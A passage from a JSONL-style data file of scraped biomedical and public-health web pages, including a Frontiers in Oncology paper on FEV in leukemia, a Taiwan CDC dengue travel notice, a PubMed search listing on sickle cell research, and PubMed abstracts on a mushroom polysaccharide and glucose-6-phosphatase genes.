office\nSustainability\nCareer opportunities\nContact us\nAll journalsAll articlesSubmit your research\nFrontiers in Oncology\nSections\nSections\nBreast Cancer\nCancer Cell Signaling\nCancer Epidemiology and Prevention\nCancer Genetics\nCancer Imaging and Image-directed Interventions\nCancer Immunity and Immunotherapy\nCancer Metabolism\nCancer Molecular Targets and Therapeutics\nCardio-Oncology\nGastrointestinal Cancers: Colorectal Cancer\nGastrointestinal Cancers: Gastric and Esophageal Cancers\nGastrointestinal Cancers: Hepato Pancreatic Biliary Cancers\nGenitourinary Oncology\nGynecological Oncology\nHead and Neck Cancer\nHematologic Malignancies\nMolecular and Cellular Oncology\nNeuro-Oncology and Neurosurgical Oncology\nPediatric Oncology\nPharmacology of Anti-Cancer Drugs\nRadiation Oncology\nSkin Cancer\nSurgical Oncology\nThoracic Oncology\nArticlesResearch TopicsEditorial board\nAbout journal\nAbout journal\nScope\nField chief editors\nMission & scope\nFacts\nJournal sections\nOpen access statement\nCopyright statement\nQuality\nFor authors\nWhy submit?\nArticle types\nAuthor guidelines\nEditor guidelines\nPublishing fees\nSubmission checklist\nContact editorial office\nFrontiers in Oncology\nSections\nSections\nBreast Cancer\nCancer Cell Signaling\nCancer Epidemiology and Prevention\nCancer Genetics\nCancer Imaging and Image-directed Interventions\nCancer Immunity and Immunotherapy\nCancer Metabolism\nCancer Molecular Targets and Therapeutics\nCardio-Oncology\nGastrointestinal Cancers: Colorectal Cancer\nGastrointestinal Cancers: Gastric and Esophageal Cancers\nGastrointestinal Cancers: Hepato Pancreatic Biliary Cancers\nGenitourinary Oncology\nGynecological Oncology\nHead and Neck Cancer\nHematologic Malignancies\nMolecular and Cellular Oncology\nNeuro-Oncology and Neurosurgical Oncology\nPediatric Oncology\nPharmacology of Anti-Cancer Drugs\nRadiation Oncology\nSkin Cancer\nSurgical Oncology\nThoracic Oncology\nArticlesResearch TopicsEditorial board\nAbout journal\nAbout journal\nScope\nField chief editors\nMission & scope\nFacts\nJournal sections\nOpen access statement\nCopyright statement\nQuality\nFor authors\nWhy submit?\nArticle types\nAuthor guidelines\nEditor guidelines\nPublishing fees\nSubmission checklist\nContact editorial office\nSubmit your researchSearch\nYour new experience awaits. Try the new design now and help us make it even better\nSwitch to the new experience\nORIGINAL RESEARCH article\nFront. Oncol., 07 July 2022\nSec. Hematologic Malignancies\nVolume 12 - 2022 | https://doi.org/10.3389/fonc.2022.890346\nThis article is part of the Research TopicNew Emerging Functions of Transcription Factors and RNA-Binding Proteins in the Development of Hematological MalignanciesView all 7 articles\nFEV Maintains Homing and Expansion by Activating ITGA4 Transcription in Primary and Relapsed AML\nJubin Zhang1,2\u2020 Lijuan Qi1,2\u2020 Tanzhen Wang1,2\u2020 Jingnan An1,2 Biqi Zhou1,2 Yanglan Fang1,2 Yujie Liu1,2 Meng Shan1,2 Dengli Hong3 Depei Wu1,2* Yang Xu1,2* Tianhui Liu1,2*\n1National Clinical Research Center for Hematologic Diseases, Jiangsu Institute of Hematology, The First Affiliated Hospital of Soochow University, Suzhou, China\n2Institute of Blood and Marrow Transplantation, Collaborative Innovation Center of Hematology, Soochow University, Suzhou, China\n3Key Laboratory of Cell Differentiation and Apoptosis of Ministry of Education, Department of Pathophysiology, Shanghai Jiao Tong University School of Medicine (SJTU-SM), Shanghai, China\nAcute myeloid leukemia (AML) is an aggressive hematological malignancy that recurs in approximately 50% of cases. Elevated homing and uncontrolled expansion are characteristics of AML cells. Here, we identified that Fifth Ewing Variant (FEV) regulates the homing and expansion of AML cells. We found that FEV was re-expressed in 30% of primary AML samples and in almost all relapsed AML samples, and FEV expression levels were significantly higher in relapsed samples compared to primary samples. Interference of FEV expression in AML cell lines delayed leukemic progression and suppressed homing and proliferation. Moreover, FEV directly activated integrin subunit alpha 4 (ITGA4) transcription in a dose-dependent manner. Inhibition of integrin \u03b14 activity with natalizumab (NZM) reduced the migration and colony-forming abilities of blasts and leukemic-initiating cells (LICs) in both primary and relapsed AML. Thus, our study suggested that FEV maintains the homing and expansion of AML cells by activating ITGA4 transcription and that targeting ITGA4 inhibits the colony-forming and migration capacities of blasts and LICs. Thus, these findings suggested that the FEV-ITGA4 axis may be a therapeutic target for both primary and relapsed AML.\nIntroduction\nAcute myeloid leukemia (AML) is an aggressive hematological malignancy in which immature cells accumulate and expand uncontrollably. Nearly 50% of patients relapse after induction chemotherapy (1, 2). Although new approaches have improved the prognosis of some patients, the majority of primary and relapsed AML patients still lack effective treatment (1\u20134). Therefore, there is an urgent need for novel targets or drugs to improve the outcomes of these patients.\nEnhanced homing and migration abilities are features of AML cells, which rapidly home to bone marrow (BM) and hijack the normal hematopoietic niche to aid extensive expansion of leukemic initiating cells (LICs) (5\u20137). Cell-to-cell or cell-to-matrix interactions mediated by C-X-C Motif Chemokine Receptor 4 (CXCR4)- C-X-C Motif Chemokine Ligand 12 (CXCL12), integrins and CD44 signaling pathways have been reported to contribute to the homing of leukemic cells to the BM microenvironment (5\u201311). However, the upstream mechanism that activates the pathways of VLA-4 remains unknown. Here, we identified that fifth Ewing variant (FEV) regulates integrin signaling.\nFEV (also known as PET1 in mammals) is an E26 transformation-specific transcripti", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/357a2044-d610-45ed-8e3f-5b400cb0db78", "content_hash": "51a7fbf65b718300ed1fa34c0eae9139fe8301a21d592c08ea6174a3d7c6d7a4", "created_at": "2026-03-28T05:11:10.221351264Z"} +{"id": "2ae7cf86-f9eb-4f45-ad30-313f809fc1c5", "source": "brain", "text": "\u6771\u5357\u4e9e\u5730\u5340\u767b\u9769\u71b1\u75ab\u60c5\u56b4\u5cfb\uff0c\u75be\u7ba1\u7f72\u547c\u7c72\u570b\u4eba\u524d\u5f80\u9ad8\u98a8\u96aa\u5730\u5340\u52d9\u5fc5\u505a\u597d\u9632\u868a\u63aa\u65bd - Taiwan Centers for Disease Control\n\n\u6771\u5357\u4e9e\u5730\u5340\u767b\u9769\u71b1\u75ab\u60c5\u56b4\u5cfb\uff0c\u75be\u7ba1\u7f72\u547c\u7c72\u570b\u4eba\u524d\u5f80\u9ad8\u98a8\u96aa\u5730\u5340\u52d9\u5fc5\u505a\u597d\u9632\u868a\u63aa\u65bd - Taiwan Centers for Disease Control\n\"Your browser does not support JavaScript. If the webpage function is not working properly, please enable the browser JavaScript status.\"\nCenter block ALT+C\n\u4e2d\n:::\nHome\n\u4e2d\u6587\u7248\nSitemap\nRSS\nTotal station search\nAbout CDC\nAbout CDC\nPolicies\nNHCC\nActs and Regulations\nPublications\nDiseases & Conditions\nImportant Diseases\nTravelers\u2019 Health\nQuarantine\nTravel Health Notices\nForeigners\u2019 Health\nInfection Control and Biosafety\nVaccine-Preventable Diseases Control\nPrograms & Campaigns\nResearch & Development\nEnd TB Special Project\nPreparedness and Response\nField Epidemiology Training Program\nResearch Reports\nInternship(training) Programs Guidelines\nData & Statistics\nTaiwan National Infectious Disease Statistics System\nStatistics of HIV/AIDS\nDisease Surveillance Express\nInfluenza Express\nNational Notifiable Disease Surveillance Report\nWeekly Report of Enterovirus Infection\nTaiwan Healthcare-associated infection and Antimicrobial resistance Surveillance System\nTaiwan CDC Open Data Portal\nInternational Cooperation\nTaiwan IHR National Focal Point Contact Information\nInternational Cooperation\nInternational Conference\nAPEC Related Events\nForeign Visitors\nRelative Resources\nSchool Visits\nHome\n\u50b3\u67d3\u75c5\u8207\u9632\u75ab\u5c08\u984c\n\u50b3\u67d3\u75c5\u4ecb\u7d39\n\u7b2c\u4e8c\u985e\u6cd5\u5b9a\u50b3\u67d3\u75c5\n\u767b\u9769\u71b1\n\u6700\u65b0\u6d88\u606f\u53ca\u75ab\u60c5\u8a0a\u606f\n\u65b0\u805e\u7a3f\n\u767b\u9769\u71b1\n\u767b\u9769\u71b1\n\u75be\u75c5\u4ecb\u7d39\n\u6700\u65b0\u6d88\u606f\u53ca\u75ab\u60c5\u8a0a\u606f\n\u6700\u65b0\u6d88\u606f\u53ca\u75ab\u60c5\u8a0a\u606f\n\u6700\u65b0\u6d88\u606f\u53ca\u75ab\u60c5\u8a0a\u606f\n\u65b0\u805e\u7a3f\n\u81f4\u91ab\u754c\u901a\u51fd\n\u767b\u9769\u71b1\u6d41\u884c\u5340(NS1\u5feb\u7be9\u5373\u78ba\u8a3a)\n\u767b\u9769\u71b1\u611f\u67d3\u98a8\u96aa\u570b\u5bb6\n\u767b\u9769\u71b1\u5730\u5716\uff08\u5efa\u8b70\u4f7f\u7528Chrome\u700f\u89bd\u5668\u64cd\u4f5c\uff09\n\u7d71\u8a08\u8cc7\u6599\u67e5\u8a62\n\u570b\u969b\u91cd\u8981\u75ab\u60c5\n\u570b\u969b\u9593\u65c5\u904a\u75ab\u60c5\u5efa\u8b70\u7b49\u7d1a\u8868\n\u75c5\u5a92\u868a\u9ad8\u98a8\u96aa\u5730\u5340\n\u91cd\u8981\u6307\u5f15\u53ca\u6559\u6750\n\u6cbb\u7642\u7167\u8b77\n\u75c5\u5a92\u868a\u8cc7\u6599\n\u75c5\u5a92\u868a\u8cc7\u6599\n\u75c5\u5a92\u868a\u8cc7\u6599\n\u81fa\u7063\u5730\u5340\u57c3\u53ca\u6591\u868a\u5206\u5e03\u9109\u93ae\u73fe\u6cc1\n\u6591\u868a\u85e5\u6548\u8a66\u9a57\u7d50\u679c\n\u75c5\u5a92\u868a\u5bc6\u5ea6\u8abf\u67e5\n\u5ba3\u5c0e\u7d20\u6750\n\u5ba3\u5c0e\u7d20\u6750\n\u5ba3\u5c0e\u7d20\u6750\n\u591a\u5a92\u9ad4\n\u6d77\u5831\n\u55ae\u5f35\n\u624b\u518a\n\u5ee3\u64ad\n\u5176\u4ed6\n\u7814\u7a76\u51fa\u7248\n\u7814\u7a76\u51fa\u7248\n\u7814\u7a76\u51fa\u7248\n\u6b77\u5e74\u7814\u7a76\u8a08\u756b\n\u5716\u66f8\n\u75ab\u60c5\u5831\u5c0e\nQ&A\nQ&A\nQ&A\n\u57fa\u790e\u7bc7\n\u9632\u868a\u7bc7\n\u9632\u75ab\u7bc7\n\u5c31\u91ab\u6cbb\u7642\u7bc7\n\u6771\u5357\u4e9e\u5730\u5340\u767b\u9769\u71b1\u75ab\u60c5\u56b4\u5cfb\uff0c\u75be\u7ba1\u7f72\u547c\u7c72\u570b\u4eba\u524d\u5f80\u9ad8\u98a8\u96aa\u5730\u5340\u52d9\u5fc5\u505a\u597d\u9632\u868a\u63aa\u65bd\nFacebook Line Print\nBack\n( alt + \u2190 Back)\n\u4f9d\u64da\u75be\u75c5\u7ba1\u5236\u7f72\u75ab\u60c5\u76e3\u6e2c\u8cc7\u6599\uff0c\u76ee\u524d\u6771\u5357\u4e9e\u6578\u570b\u5982\u65b0\u52a0\u5761\u3001\u99ac\u4f86\u897f\u4e9e\u53ca\u6cf0\u570b\u7b49\u767b\u9769\u71b1\u75ab\u60c5\u983b\u50b3\uff0c\u5176\u4e2d\u65b0\u52a0\u5761\u622a\u81f3\u7b2c6\u9031\u7d2f\u8a08\u901a\u58312,162\u4f8b\u767b\u9769\u71b1\u75c5\u4f8b\uff0c\u70ba\u53bb(102)\u5e74\u540c\u671f\u76841.5\u500d\uff0c\u8fd15\u5e74\u540c\u671f\u5e73\u5747\u76843.7\u500d\uff1b\u99ac\u4f86\u897f\u4e9e\u767b\u9769\u71b1\u75ab\u60c5\uff0c\u6bcf\u9031\u65b0\u589e\u7d042\u5343\u4f8b\u7684\u5e45\u5ea6\u6301\u7e8c\u589e\u52a0\uff0c\u4eca\u5e74\u81f32\u6708\u521d\u5df2\u7d2f\u8a08\u901a\u583111,870\u4f8b\uff0c\u70ba\u53bb\u5e74\u540c\u671f\u76843.8\u500d\u3002\u75be\u7ba1\u7f72\u547c\u7c72\u570b\u4eba\uff0c\u524d\u5f80\u767b\u9769\u71b1\u9ad8\u98a8\u96aa\u5730\u5340\u52d9\u5fc5\u505a\u597d\u9632\u868a\u63aa\u65bd\uff0c\u907f\u514d\u611f\u67d3\u767b\u9769\u71b1\u3002\n\u4eca\u5e74\u622a\u81f32\u670818\u65e5\uff0c\u570b\u5167\u5171\u7d2f\u8a0821\u4f8b\u5883\u5916\u79fb\u5165\u767b\u9769\u71b1\u75c5\u4f8b\uff0c\u611f\u67d3\u4f86\u6e90\u5206\u5225\u70ba\u5370\u5c3c9\u4f8b\u3001\u99ac\u4f86\u897f\u4e9e6\u4f8b\u3001\u83f2\u5f8b\u8cd33\u4f8b\u3001\u65b0\u52a0\u57612\u4f8b\u53ca\u67ec\u57d4\u5be81\u4f8b\u3002\u53bb\u5e74\u540c\u671f\u5247\u670924\u4f8b\uff0c\u4e3b\u8981\u4f86\u81ea\u5370\u5c3c\uff088\u4f8b\uff09\u53ca\u6cf0\u570b\uff086\u4f8b\uff09\u3002\n\u75be\u7ba1\u7f72\u63d0\u9192\uff0c\u570b\u4eba\u524d\u5f80\u767b\u9769\u71b1\u9ad8\u98a8\u96aa\u5730\u5340\u65c5\u904a\u3001\u63a2\u89aa\u53ca\u7d93\u5546\uff0c\u61c9\u78ba\u5be6\u505a\u597d\u500b\u4eba\u9632\u868a\u63aa\u65bd\uff0c\u65bc\u8eab\u9ad4\u88f8\u9732\u8655\u4f7f\u7528\u7d93\u885b\u751f\u798f\u5229\u90e8\u6838\u53ef\u7684\u9632\u868a\u85e5\u5291\uff0c\u4e26\u76e1\u91cf\u7a7f\u8457\u6dfa\u8272\u9577\u8896\u8863\u8932\uff0c\u4ee5\u907f\u514d\u906d\u75c5\u5a92\u868a\u53ee\u54ac\u3002\u65c5\u904a\u671f\u9593\u6216\u56de\u570b\u5f8c\u5982\u51fa\u73fe\u767c\u71d2\u3001\u982d\u75db\u3001\u5641\u5fc3\u3001\u5614\u5410\u3001\u808c\u75db\u3001\u51fa\u75b9\u53ca\u95dc\u7bc0\u75db\u7b49\u75c7\u72c0\uff0c\u61c9\u5118\u901f\u5c31\u91ab\uff0c\u4e26\u544a\u77e5\u91ab\u5e2b\u65c5\u904a\u53f2\uff0c\u4ee5\u5229\u53ca\u65e9\u8a3a\u65b7\u6cbb\u7642\u3002\n\u6709\u95dc\u767b\u9769\u71b1\u6700\u65b0\u75ab\u60c5\u53ca\u5404\u9805\u8cc7\u8a0a\uff0c\u8acb\u53c3\u95b1\u75be\u75c5\u7ba1\u5236\u7f72\u5168\u7403\u8cc7\u8a0a\u7db2(http://www.cdc.gov.tw) \u6216\u64a5\u6253\u570b\u5167\u514d\u4ed8\u8cbb\u9632\u75ab\u5c08\u7dda1922\u6d3d\u8a62\uff0c\u5982\u8a71\u6a5f\u7121\u6cd5\u64a5\u6253\u7c21\u78bc\u96fb\u8a71\u865f\u78bc\uff0c\u8acb\u6539\u64a50800-001922\u9632\u75ab\u5c08\u7dda\u3002\nPublishTime 2014/2/21\n:::\nSitemap\nAbout CDC\nAbout CDC\nPolicies\nNHCC\nActs and Regulations\nPublications\nDiseases & Conditions\nImportant Diseases\nTravelers\u2019 Health\nQuarantine\nTravel Health Notices\nForeigners\u2019 Health\nInfection Control and Biosafety\nVaccine-Preventable Diseases Control\nPrograms & Campaigns\nResearch & Development\nEnd TB Special Project\nPreparedness and Response\nField Epidemiology Training Program\nResearch Reports\nInternship(training) Programs Guidelines\nData & Statistics\nTaiwan National Infectious Disease Statistics System\nStatistics of HIV/AIDS\nDisease Surveillance Express\nInfluenza Express\nNational Notifiable Disease Surveillance Report\nWeekly Report of Enterovirus Infection\nTaiwan Healthcare-associated infection and Antimicrobial resistance Surveillance System\nTaiwan CDC Open Data Portal\nInternational Cooperation\nTaiwan IHR National Focal Point Contact Information\nInternational Cooperation\nInternational Conference\nAPEC Related Events\nForeign Visitors\nRelative Resources\nSchool Visits\nNews\nPress Releases\nEvents\nCurrent Topics\nPrivacy Policy\nSecurity Policy\nGovernment Website Open Information Announcement\nDirector-mail\nCopyright Notice on Health Educational Materials\nTaiwan Centers for Disease Control\nNo.6, Linsen S. Rd., Jhongjheng District, Taipei City 100008, Taiwan (R.O.C.) MAP\nTEL\uff1a886-2-2395-9825\nCopyright \u00a9 2026 Taiwan Centers for Disease Control. All rights reserved.", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/2ae7cf86-f9eb-4f45-ad30-313f809fc1c5", "content_hash": "6a288515cdf941ec378175bdbf51f5ec053084ac927978ff63874eae6a183355", "created_at": "2026-03-28T05:11:10.083408892Z"} +{"id": "4911edf3-9590-4ea9-9d1f-1b4068a42adf", "source": "brain", "text": "Roberts JD - Search Results - PubMed\n\nRoberts JD - Search Results - PubMed\nThis site needs JavaScript to work properly. Please enable it to take advantage of the complete set of features!\nClipboard, Search History, and several other advanced features are temporarily unavailable.\nSkip to main page content\nAn official website of the United States government\nHere's how you know\nThe .gov means it\u2019s official.\nFederal government websites often end in .gov or .mil. Before sharing sensitive information, make sure you\u2019re on a federal government site.\nThe site is secure.\nThe https:// ensures that you are connecting to the official website and that any information you provide is encrypted and transmitted securely.\nLog in\nShow account info\nClose\nAccount\nLogged in as:\nusername\nDashboard\nPublications\nAccount settings\nLog out\nAccess keys NCBI Homepage MyNCBI Homepage Main Content Main Navigation\nSearch Page\nSearch:\nSearch\nAdvanced Create alert Create RSS Clipboard\nUser Guide\nFilters 0\nSort by: Computed author Best match Most recent Publication date First author Journal\nDisplay options\nDisplay options\nFormat Summary Abstract PubMed PMID\nPer page 10 20 50 100 200\nAbstract snippets\nShow\nHide\nSave\nEmail\nSend to\nClipboard\nMy Bibliography\nCollections\nCitation manager\nSave citations to file\nSelection: All results on this page All results Selection\nFormat: Summary (text) PubMed PMID Abstract (text) CSV\nCreate file\nCancel\nEmail citations\nEmail address has not been verified. Go to My NCBI account settings to confirm your email and then refresh this page.\nTo:\nSubject:\nBody:\nSelection: All results on this page All results Selection\nFormat: Summary Summary (text) Abstract Abstract (text)\nMeSH and other data\nSend email\nCancel\nSend citations to clipboard\nSelection: All results on this page All results Selection\nSend\nCancel\nAdd to Collections\nSelection: All results on this page All results Selection\nCreate a new collection\nAdd to an existing collection\nName your collection:\nName must be less than 100 characters\nChoose a collection:\nUnable to load your collection due to an error\nPlease try again\nAdd\nCancel\nAdd to My Bibliography\nSelection: All results on this page All results Selection\nMy Bibliography\nUnable to load your delegates due to an error\nPlease try again\nAdd\nCancel\nCreate a file for external citation management software\nSelection: All results on this page All results Selection\nCreate file\nCancel\nYour saved search\nName of saved search:\nSearch terms:\nRoberts JD\nTest search terms\nWould you like email updates of new search results?\nSaved Search Alert Radio Buttons\nYes\nNo\nEmail: (change)\nFrequency: Monthly Weekly Daily\nWhich day? The first Sunday The first Monday The first Tuesday The first Wednesday The first Thursday The first Friday The first Saturday The first day The first weekday\nWhich day? Sunday Monday Tuesday Wednesday Thursday Friday Saturday\nReport format: Summary Summary (text) Abstract Abstract (text) PubMed\nSend at most: 1 item 5 items 10 items 20 items 50 items 100 items 200 items\nSend even when there aren't any new results\nOptional text in email:\nSave\nCancel\nYour RSS Feed\nName of RSS Feed:\nNumber of items displayed: 5 10 15 20 50 100\nCreate RSS\nCancel\nRSS Link\nCopy\nFilters\nMy Custom Filters\nPublication date\n1 year\n5 years\n10 years\nCustom Range\nStart Date\nEnd Date\nClear\nApply\nText availability\nAbstract\nFree full text\nFull text\nArticle attribute\nAssociated data\nArticle type\nBooks and Documents\nClinical Trial\nMeta-Analysis\nRandomized Controlled Trial\nReview\nSystematic Review\nSee all article type filters\nAdditional filters\nAdditional filters\nArticle Language\nEnglish\nSpanish\nSee all article language filters\nSpecies\nHumans\nOther Animals\nSex\nFemale\nMale\nAge\nChild: birth-18 years\nAdult: 19+ years\nAged: 65+ years\nSee all age filters\nOther\nExclude preprints\nMEDLINE\nClear applied filters\nReset filters menu\nSearch Results\nclear all\n667 results\nSave\nEmail\nSend to\nClipboard\nMy Bibliography\nCollections\nCitation manager\nClear selection\nPage\nof 14\nSave\nEmail\nSend to\nClipboard\nMy Bibliography\nCollections\nCitation manager\nClear selection\nFilters applied: . Clear all\nResults are displayed in a computed author sort order. The Publication Date timeline is not available.\nSelect search result to email or save\nPage 1\n1\nCite\nMedical marijuana certification for patients with sickle cell disease: a report of a single center experience.\nCurtis SA, Lew D, Spodick J, Hendrickson JE, Minniti CP, Roberts JD. Curtis SA, et al. Among authors: roberts jd. Blood Adv. 2020 Aug 25;4(16):3814-3821. doi: 10.1182/bloodadvances.2020002325. Blood Adv. 2020. PMID: 32790846 Free PMC article.\nCite\nItem in Clipboard\n2\nCite\nComorbidity, Pain, Utilization, and Psychosocial Outcomes in Older versus Younger Sickle Cell Adults: The PiSCES Project.\nMcClish DK, Smith WR, Levenson JL, Aisiku IP, Roberts JD, Roseff SD, Bovbjerg VE. McClish DK, et al. Among authors: roberts jd. Biomed Res Int. 2017;2017:4070547. doi: 10.1155/2017/4070547. Epub 2017 Mar 28. Biomed Res Int. 2017. PMID: 28459058 Free PMC article.\nCite\nItem in Clipboard\n3\nCite\nMarijuana Use in Adults Living with Sickle Cell Disease.\nRoberts JD, Spodick J, Cole J, Bozzo J, Curtis S, Forray A. Roberts JD, et al. Cannabis Cannabinoid Res. 2018 Jul 1;3(1):162-165. doi: 10.1089/can.2018.0001. eCollection 2018. Cannabis Cannabinoid Res. 2018. PMID: 30014039 Free PMC article.\nCite\nItem in Clipboard\n4\nCite\nRed blood cell alloimmunization is associated with lower expression of Fc\u03b3R1 on monocyte subsets in patients with sickle cell disease.\nBalbuena-Merle R, Curtis SA, Devine L, Gibb DR, Karafin MS, Luckey CJ, Tormey CA, Siddon AJ, Roberts JD, Hendrickson JE. Balbuena-Merle R, et al. Among authors: roberts jd. Transfusion. 2019 Oct;59(10):3219-3227. doi: 10.1111/trf.15463. Epub 2019 Jul 29. Transfusion. 2019. PMID: 31355970 Free PMC article.\nCite\nItem in Clipboard\n5\nCite\nUtilization, financial outcomes and stakeholder perspectives of a re-organized adult sickle cell program.\nRousseau R, Weisberg DF, Gorero J, Parwani V, Bozzo J, Kenyon K, Smith C, Cole J, Curtis S, Forray A, Roberts JD. Rousseau R, et al. Among authors: roberts jd. PLoS One. 2020 Jul 24;15(7):e0236360. doi: 10.1371/journal.pone.0236360. eCollection 2020. PLoS One. 2020. PMID: 32706825 Free PMC article.\nCite\nItem in Clipboard\n6\nCite\nBuilding access to care in adult sickle cell disease: defining models of care, essential components, and economic aspects.\nKanter J, Smith WR, Desai PC, Treadwell M, Andemariam B, Little J, Nugent D, Claster S, Manwani DG, Baker J, Strouse JJ, Osunkwo I, Stewart RW, King A, Shook LM, Roberts JD, Lanzkron S. Kanter J, et al. Among authors: roberts jd. Blood Adv. 2020 Aug 25;4(16):3804-3813. doi: 10.1182/bloodadvances.2020001743. Blood Adv. 2020. PMID: 32785684 Free PMC article.\nCite\nItem in Clipboard\n7\nCite\nUrinary cannabinoid mass spectrometry profiles differentiate dronabinol from cannabis use.\nKoch CD, Xu L, Curtis SA, Roberts JD, Bunch DR, El-Khoury JM. Koch CD, et al. Among authors: roberts jd. Clin Chim Acta. 2020 Nov;510:515-521. doi: 10.1016/j.cca.2020.08.014. Epub 2020 Aug 12. Clin Chim Acta. 2020. PMID: 32795544\nCite\nItem in Clipboard\n8\nCite\nDaily Cannabis Users with Sickle Cell Disease Show Fewer Admissions than Others with Similar Pain Complaints.\nCurtis SA, Brandow AM, DeVeaux M, Zeltermam D, Devine L, Roberts JD. Curtis SA, et al. Among authors: roberts jd. Cannabis Cannabinoid Res. 2020 Sep 2;5(3):255-262. doi: 10.1089/can.2019.0036. eCollection 2020. Cannabis Cannabinoid Res. 2020. PMID: 32923662 Free PMC article.\nCite\nItem in Clipboard\n9\nCite\nNon-crisis related pain occurs in adult patients with sickle cell disease despite chronic red blood cell exchange transfusion therapy.\nCurtis SA, Raisa BM, Roberts JD, Hendrickson JE, Starrels J, Lesley D, Michelle D, Daniel Z, Brandow AM. Curtis SA, et al. Among authors: roberts jd. Transfus Apher Sci. 2022 Apr;61(2):103304. doi: 10.1016/j.transci.2021.103304. Epub 2021 Oct 30. Transfus Apher Sci. 2022. PMID: 34782244 Free PMC article.\nCite\nItem in Cli", "license": "apache-2.0", "quality_score": 0.75, "provenance": "pi.ruv.io/memory/4911edf3-9590-4ea9-9d1f-1b4068a42adf", "content_hash": "ae658b42724b1a882e7e8d0776a07993224c84e2b15d1f0c86d23d0b993e13da", "created_at": "2026-03-28T05:11:09.991488032Z"} +{"id": "ecff56e9-12b0-430e-ae55-c4f16f88c566", "source": "brain", "text": "Purification, characterization and protective effects on UVB-induced photoaging in zebrafish of Pleurotus citrinopileatus polysaccharide PCP-2\n\nPurification, characterization and protective effects on UVB-induced photoaging in zebrafish of Pleurotus citrinopileatus polysaccharide PCP-2\nPurification, characterization and protective effects on UVB-induced photoaging in zebrafish of Pleurotus citrinopileatus polysaccharide PCP-2\nJ Sci Food Agric. 2025 Aug 15;105(10):5246-5257. doi: 10.1002/jsfa.14247. Epub 2025 Mar 28.\nAuthors\nYan-Xia Li 1 , He Ma 1 , Le Shi 1 , Zhong-Fei Zhang 1 , Yu-Meng Wu 1 , Chao Yan 1 2 , Yan Chen 1 2 , Yong-Ming Lu 1 2\nAffiliations\n1 School of Life Sciences, Anhui University, Hefei, People's Republic of China.\n2 Key Laboratory of Ecological Engineering and Biotechnology of Anhui Province and Anhui Key Laboratory of Modern Biomanufacturing, Hefei, People's Republic of China.\nPMID: 40156221\nDOI: 10.1002/jsfa.14247\nAbstract\nBackground: Polysaccharides from Pleurotus citrinopileatus exhibit diverse bioactivities, yet their efficacy against ultraviolet B (UVB)-induced photoaging remains unexplored. This study aimed to purify and characterize a specific PCP and assess its protective effects using a UVB-induced zebrafish model.\nResults: A polysaccharide, designated as PCP-2, was isolated from P. citrinopileatus through hot-water extraction, ultrafiltration and chromatography. PCP-2 is a galactoglucan with a molecular weight of 1.52 \u00d7 106 Da, predominantly composed of 1,4-linked glucopyranosyl and 1,4,6-linked galactopyranosyl residues. In UVB-exposed zebrafish, PCP-2 administration resulted in a significant reduction of reactive oxygen species and malondialdehyde levels, alongside enhanced activities of antioxidant enzymes, including superoxide dismutase, catalase and glutathione peroxidase. Additionally, PCP-2 inhibited apoptosis by upregulating Bcl-2 expression and downregulating caspase-3. It also attenuated cellular senescence, as indicated by decreased \u03b2-galactosidase activity and increased telomerase activity. Moreover, PCP-2 promoted the synthesis of type I and III collagen by suppressing matrix metalloproteinases MMP-1 and MMP-3 and reduced melanin production through the downregulation of tyrosinase expression. Mechanistic studies suggested that these protective effects are mediated via activation of the Nrf2/HO-1 signaling pathway.\nConclusion: PCP-2 from P. citrinopileatus effectively mitigates UVB-induced photoaging, primarily by activating the Nrf2/HO-1 pathway. These findings suggest PCP-2's potential as an anti-photoaging agent in both food and pharmaceutical industries. \u00a9 2025 Society of Chemical Industry.\nKeywords: Pleurotus citrinopileatus polysaccharide; anti\u2010photoaging; zebrafish.\n\u00a9 2025 Society of Chemical Industry.\nMeSH terms\nAnimals\nAntioxidants / chemistry\nAntioxidants / isolation & purification\nAntioxidants / pharmacology\nApoptosis / drug effects\nApoptosis / radiation effects\nCaspase 3 / genetics\nCaspase 3 / metabolism\nCatalase / genetics\nCatalase / metabolism\nGlutathione Peroxidase / genetics\nGlutathione Peroxidase / metabolism\nHumans\nMalondialdehyde / metabolism\nMatrix Metalloproteinase 1 / genetics\nMatrix Metalloproteinase 1 / metabolism\nPleurotus* / chemistry\nPolysaccharides* / administration & dosage\nPolysaccharides* / chemistry\nPolysaccharides* / isolation & purification\nPolysaccharides* / pharmacology\nProtective Agents* / chemistry\nProtective Agents* / isolation & purification\nProtective Agents* / pharmacology\nReactive Oxygen Species / metabolism\nSkin / drug effects\nSkin / metabolism\nSkin / radiation effects\nSkin Aging* / drug effects\nSkin Aging* / radiation effects\nSuperoxide Dismutase / genetics\nSuperoxide Dismutase / metabolism\nUltraviolet Rays / adverse effects\nZebrafish\nSubstances\nPolysaccharides\nReactive Oxygen Species\nProtective Agents\nSuperoxide Dismutase\nMalondialdehyde\nCatalase\nMatrix Metalloproteinase 1\nGlutathione Peroxidase\nAntioxidants\nCaspase 3\nGrants and funding\nThis work was supported by the Key Project of Science and Technology of Anhui Province (2023n06020008) and Educational Commission of Anhui Province of China (KJ2020A0051)\nKey Project of Science and Technology of Anhui Province (2023n06020008) and Educational Commission of Anhui Province of China (KJ2020A0051)", "license": "apache-2.0", "quality_score": 0.75, "provenance": "pi.ruv.io/memory/ecff56e9-12b0-430e-ae55-c4f16f88c566", "content_hash": "7bbd887fb8342a364d2426b6d2f6a9bb75874bc5c96f3a2350c39ccf2ad391ee", "created_at": "2026-03-28T05:11:09.896219373Z"} +{"id": "cbff5c8e-06b4-4ae4-8efd-039328260e4e", "source": "brain", "text": "Glucose-6-phosphatase catalytic subunit gene family\n\nGlucose-6-phosphatase catalytic subunit gene family\nGlucose-6-phosphatase catalytic subunit gene family\nJ Biol Chem. 2009 Oct 23;284(43):29241-5. doi: 10.1074/jbc.R109.025544. Epub 2009 Aug 20.\nAuthors\nJohn C Hutton 1 , Richard M O'Brien\nAffiliation\n1 Barbara Davis Center for Childhood Diabetes, University of Colorado at Denver, Aurora, Colorado 80045, USA.\nPMID: 19700406\nPMCID: PMC2785553\nDOI: 10.1074/jbc.R109.025544\nAbstract\nGlucose-6-phosphatase catalyzes the hydrolysis of glucose 6-phosphate (G6P) to glucose and inorganic phosphate. It is a multicomponent system located in the endoplasmic reticulum that comprises several integral membrane proteins, namely a catalytic subunit (G6PC) and transporters for G6P, inorganic phosphate, and glucose. The G6PC gene family contains three members, designated G6PC, G6PC2, and G6PC3. The tissue-specific expression patterns of these genes differ, and mutations in all three genes have been linked to distinct diseases in humans. This minireview discusses the disease association and transcriptional regulation of the G6PC genes as well as the biological 